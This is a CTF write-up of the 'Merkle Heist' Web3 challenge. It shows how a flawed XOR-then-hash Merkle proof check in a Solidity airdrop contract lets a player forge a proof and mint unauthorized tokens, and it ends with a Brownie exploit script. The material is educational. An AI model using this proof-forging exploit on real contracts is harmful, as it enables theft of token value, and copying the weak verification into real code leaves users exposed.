The event
NahamCon EU CTF started on December 16th and lasted 24 hours. It had all the most common types of challenges such as web, pwn, reverse, crypto, etc. I could not play the entire event, so I dedicated most of my play time at the Web3 challenges since it’s not yet too common in CTFs and I always have a good time solving challenges like this.
Big thanks to Halborn for providing the web3 challanges :-)
Challenge
The challenge itself is not difficult once you understand some core concepts of solidity, a programming language used to creat smart contracts from the Ethereum network, and a little bit of how XOR works.
So, I’ll try here to bring as much detail as I can even in some basic things from this world.
The challenge is called Merkle Heist and had at the end of the CTF a total of 11 solves.
In order to interact with the smart contract deployed in our private RPC URL I used Brownie Framework. It is a Python-based development and testing framework for smart contracts targeting the Ethereum Virtual Machine.
Here’s a quick link for instalation: Install Brownie
Setting up the environment
Before we start analyzing the vulnerable contract, we need configure our environment to communicate with the Ethereum private node that was given to us.
In order to accomplish this, we need to tell brownie where to connect when running our tests. We can do that by creating a custom network passing the private RPC URL as parameter.
Run: brownie networks add Ethereum CTF-Merkle-heist host=https://ctf.nahamcon.com/challenge/41/aa0e6c2d-efea-455f-8802-83c8df461a1d chainid=1337
Replace the host parameter with your private RPC URL.
Now, brownie will be able to interact with the contract deployed for the challenge.
Analyzing the given files
When we download the zip file, we get a bunch files that we’ll need to analyze to solve the challenge. But before that, let’s find out what’s the condition we need to pass to solve it.
Inside the scripts
folder we see the challenge.py
file. It basically deploys the contract we must target and has the condition to solve it. Let’s first check the solve
function:
def solved():
token = SimpleToken[-1]
# You should mint 100000 amount of token.
if token.totalSupply() == 200000:
return True, "Solved!"
else:
return False, "Not solved, you need to mint enough to solve."
That first comment says it all, we must mint 100000 STK
(Simple Tokens) to beat it.
Crypto minting basically refers to the process of creating new coins through verification of data, creation of new blocks, and documentation of the verified information on a blockchain network through Proof of Stake consensus. From 101blockchains
Let’s take a look now at the deploy function:
def deploy():
ADMIN = accounts[9]
token = SimpleToken.deploy('Simple Token', 'STK', {'from': ADMIN})
_merkleRoot = 0x654ef3fa251b95a8730ce8e43f44d6a32c8f045371ce6a18792ca64f1e148f8c
airdrop = Airdrop.deploy(token, 1e5, _merkleRoot, 4, {'from': ADMIN})
token.setAirdropAddress(airdrop, {'from': ADMIN})
merkleProof = [
int(convert.to_bytes(ADMIN.address).hex(),16),
0x000000000000000000000000feb7377168914e8771f320d573a94f80ef953782,
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
]
airdrop.mintToken(merkleProof)
The deploy function is also pretty straightforward:
- Set the ADMIN account
- Deploy the
simpleToken
contract (We’ll talk about it more later) - Define the merkleRoot constant (Import for the resolution of the challenge)
- Deploy the
airdrop
contract - call the function
setAirdroppAddress
from the token contract. (So they can communicate correctly) - Define the merkleProof variable
- Call the function
mintToken
from the airdrop contract passing the merkleProof as parameter
This is all we need to know from this file. Now let’s understant what exactly is going on in each step.
Deeper analysis
Set the ADMIN account
The deploy
function is setting the ADMIN account with a local account from that chain. Let’s take Ganache, from trufflesuite, as an example. Ganache creates a personal Ethereum blockchain which can be used to run test, execute commands and make inspections in the blockchain.
The image above represents a local ganache client running on my machine. I can use it to deploy contracts and look for bugs or develop awesome contracts, for example. As you can see, it generates a few (10) local accounts with 100 ETH balance and runs on my localhost:7545.
With that being said, the admin account is the one located at index 9 of the local accounts
array created for the challenge.
Deploy the simpleToken contract
Here, the script is deploying the simpleToken contract present inside de contracts
folder (We’ll analyze it shortly), passing two parameter:
- Name of the token:
Simple Token
- Its symbol:
STK
- The account deploying the contract:
ADMIN
Define the merkleRoot constant
We’ll talk more about this later, but let’s save this constant.
Deploy the airdrop contract
Deploy the airdop
contract passing a few parameters:
- The simpleToken address that was deployed in stage 2
- The inital amount of tokens to be minted:
100000
- The
merkleRoot
constant - The length of the
merkleProof
array:4
- The account deploying the contract:
ADMIN
Analyzing the vulnerable contract
Simpletoken.sol
Now that we know our goal to solve the challenge we must find a way to mint these extra 100000 STK. The simpleToken.sol
contract implements this mint
function:
function mint(address addr, uint256 amount) external{
require(msg.sender == airdropAddress, "You can't call this");
_mint(addr, amount);
}
This require
is very clear. In order to mint tokens, the sender must be the airdrop contract, we cannot do this directly from our account. We must find a way inside the airdrop contract to mint the tokens we need.
Airdrop.sol
There’s a function that we have to attack for sure in this contract, mintToken
:
function mintToken(bytes32[] memory merkleProof) external {
require(!dropped[msg.sender], "Already dropped");
require(merkleProof.length == proofLength, "Tree length mismatch");
require(address(uint160(uint256(merkleProof[0]))) == msg.sender, "First Merkle leaf should be the msg.sender's address");
require(proofHash(merkleProof) == merkleRoot, "Merkle proof failed");
dropped[msg.sender] = true;
token.mint(msg.sender, dropPerAddress);
_latestAcceptedProof = merkleProof;
}
In order to mint out tokens, we must pass these four conditions:
- The caller of this function must not me mapped inside the
dropped
mapping. Which means that we cannot mint tokens more than once with the same user. - It states that the
merkleProof
parameters that we pass must have its length equal to 4 - The first element of the
merkleProof
parameter must contain the address of the caller of the function (our account) - The return element of the
proofHash
function passing themerkleProof
as parameter must be equal to themerkleRoot
constant defined instants ago.
Solution
Alright, after all that introduction we know where to look at. Let’s start bypassing these annoying checks and solve it!
First Check
require(!dropped[msg.sender], "Already dropped");
This require
checks if the msg.sender (us) has already minted any tokens. To bypass this we only need a fresh account. So no headaches here.
✅ Use an account that hasn’t minted any tokens in this contract.
Second Check
require(merkleProof.length == proofLength, "Tree length mismatch");
This function accepts a bytes32 array as parameter called merkleProof
. The challenge.py
file has an example that we can use to illustrate:
merkleProof = [
int(convert.to_bytes(ADMIN.address).hex(),16),
0x000000000000000000000000feb7377168914e8771f320d573a94f80ef953782,
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
]
✅ We need to make sure that the merkleProof
we send has a length of 4.
Third Check
require(address(uint160(uint256(merkleProof[0]))) == msg.sender, "First Merkle leaf should be the msg.sender's address");
Let’s create a script that will solve the challenge. This first part here is to calculate the first argument of the merkleProof
array.
from brownie import Airdrop, accounts, Wei, convert
def test_solve():
# Set the deployed contract address
contract = Airdrop.at("0xA15BB66138824a1c7167f5E85b957d04Dd34E468")
# Get the first local account to be out account for testing
account = accounts[0]
# Print some variables to stdout
print(f"[+] Contract: {contract}")
print(f"[+] Account: {account}")
print(f"[+] Admin Account: {accounts[9]}")
# Calculate the first argument of our array
merkleProof = [
convert.to_bytes(account.address).hex()
]
#Print it
print(merkleProof)
Running this we get:
Note
(address(uint160(uint256(merkleProof[0]))
Only takes the least 20 significant bytes of a 32 byte array to consider as our address. If we send:
0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
or 0xa1b2c3d4e5f6000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
they will both be accepted in this third check since the 12 most significant bytes are not considered.
✅ Calculate the first parameter of our merkleProof
Final Check
require(proofHash(merkleProof) == merkleRoot, "Merkle proof failed");
\
This we’ll have to work a little harder to bypass. It requires that the function proofHash
passing our merkleProof
as argument to be equal that merkleRoot
constant that we defined earlier and was passed to the constructor.
Let’s take a look at the proofHash
function:
function proofHash(bytes32[] memory nodes) internal pure returns (bytes32 result) {
result = pairHash(nodes[0], nodes[1]);
for (uint256 i = 2; i < nodes.length; i++) {
result = pairHash(result, nodes[i]);
}
}
It accepts a bytes32 array as a parameter (Our merkleProof) and call another function pairHashes
with the merkleProof
elements.
The function pairHashes
looks like this:
function pairHash(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return keccak256(abi.encode(a ^ b));
}
This function simply does the following:
- Takes two bytes32 variables
- XOR them
- Calculates the keccak256 of the XOR result
Keccak256 is a cryptographic function built into solidity. This function takes in any amount of inputs and converts it to a unique 32 byte hash.
The diagram below represents the flow inside the proofHash
function.
So, we need to figure out a way to achieve the same merkleRoot
as the one set in the constructor. In order to accomplish this, we must abuse how XOR works. We know that in the first case, the one represented in the challenge.py
file, the following happened:
0x000000000000000000000000a0Ee7A142d267C1f36714E4a8F75612F20a79720 ^ 0x000000000000000000000000feb7377168914e8771f320d573a94f80ef953782
=
0x5e594d6545b7329847826e9ffcdc2eafcf32a0a2
So, weed need that the parameter for the first call to keccak256 inside the pairHash
function to be equal 0x5e594d6545b7329847826e9ffcdc2eafcf32a0a2
to achive the same hash.
According to XOR propertis, we have:
A ^ B = C --> A ^ C = B
We are missing only the second paramenter of our fake merkleProof
, let’s calculate the bytes32 that we need to get the same hash:
0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 ^ 0x5e594d6545b7329847826e9ffcdc2eafcf32a0a2 = 0xadc69b805f1aba6eb34c04277eae5760308b82c4
0xf39f… is our test account 0x5e59… is the result we need to be hashed to get the same merkle root 0xadc6… is now the second element of our merkle proof array
We have now, a merkleProof that will all checks and mint some tokens for us:
merkleProof = [
0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266, # Our testing account
0x000000000000000000000000adc69b805f1aba6eb34c04277eae5760308b82c4, # New element calculated
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
]
Elements at index 2 and 3 remained the same.
✅ Created the new merkle proof array with our account
Script
After all that calculation, the final script would look something like this:
from brownie import Airdrop, accounts, Wei, convert
def test_solve():
contract = Airdrop.at("0xA15BB66138824a1c7167f5E85b957d04Dd34E468")
account = accounts[0]
print(f"[+] Contract: {contract}")
print(f"[+] Account: {account}")
print(f"[+] Admin Account: {accounts[9]}")
merkleProof = [
0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266,
0x000000000000000000000000adc69b805f1aba6eb34c04277eae5760308b82c4,
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
]
contract.mintToken(merkleProof, {"from": account})
print(f"\n[+] Last accepted proof: {contract.latestAcceptedProof()}")
All we have to do now is go to the platform and hit that juicy solve button and get our points! 🏁🏁🏁
Final Thoughts
This was indeed an easy challenge, the main idea here was to give an introduction to this world of web3 hacking and provide some info on how to start, what to use and a few solidity tips. I myself have been playing around with it for just a couple of months but it has been quite fun. If you wanna know more, hack more web3 challenges, I strongly recommend you to start at ethernaut wargame from open zeppelin.
I know that I skipped a few things about solidity, brownie and even merkle trees themselves. I’ll strongly agree the you check out the references below.
If you wanna discuss more about it, feel free to reach me Twitter or linkedin :-)
thanks for reading 👽 👽 👽
References
- Merkle Tree
- Solidity, Blockchain, and Smart Contract Course – Beginner to Expert Python Tutorial
- Brownie - Writing Unit Tests
Capture the Flag , Solidity Programming Language , Web3 , Writeup